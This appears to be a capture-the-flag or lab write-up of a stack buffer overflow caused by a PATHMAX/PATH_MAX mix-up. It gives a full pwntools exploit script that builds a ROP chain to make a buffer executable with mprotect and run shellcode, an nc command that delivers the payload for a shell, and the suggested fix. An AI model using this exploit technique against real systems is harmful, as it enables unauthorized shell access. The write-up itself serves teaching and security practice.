Analysis of the bug =================== The program defines `PATHMAX` as 1024, but the `fillbuf()` function then uses `PATH_PAX`, which is a system constant set to 4096 in Linux. The function can then be easily used to overflow the `buf` buffer in `child()`. Attack implementation ===================== The binary has NX enabled, so injected code cannot be executed and we need to use ROP. PIE is disabled, but ASLR is active: this limits the useful gadgets to the ones that can be found in the binary itself, unless the base address of the libc library is leaked. There is, however, a simpler solution: since `mprotect()` is available, we can build a ROP chain that calls it and re-enables execution in the `protected_storage` buffer. Then, we can inject a classical shellcode and jump to it. The following script outputs the necessary payload. It uses pwntools to obtain the shellcode: ``` python import sys from pwn import * protected_storage=0x0000000000406000 set_permissions=0x00000000004013d6 pop_rdi=0x0000000000401853 payload = b'w' payload += asm(shellcraft.amd64.linux.sh(), arch='amd64') payload += b'A'*(1033-len(payload)) payload += p64(pop_rdi) payload += p64(5) payload += p64(set_permissions) payload += p64(protected_storage) payload += b'B'*(4097-len(payload)) payload += b'q' sys.stdout.buffer.write(payload) ``` We find the offset from the local buffer to the saved RIP by the usual means (e.g., `cyclic` + core inspection on the local binary). We use part of this offset to send the shellcode (which will thus end up at the beginning of the `protected_storage` buffer), and pad the rest with `A`s. Then we use a gadget to load `rdi` with the value 5, which is `PROT_READ|PROT_EXEC`, and return into `set_permissions()`. When `set_permission()` returns, the contents of `protected_storage` have become executable and we can return into it. Note that we need to send enough padding to complete the 4096 bytes read in `fillbuf()`, plus the additinal `w` byte that we sent at the beginning. After that we send the `q` command to let the `child()` function exit its main loop and start running our ROP chain. Let us put the above script in a `payload.py` file. Assuming that the server is running on some-host at some-port, we can obtain a shell as usual: ``` sh (python3 payload.py; cat) | nc some-host some-port ``` Suggested Fix ============= The fix consists in just replacing `PATH_MAX` with `PATHMAX` in `fillbuf()`.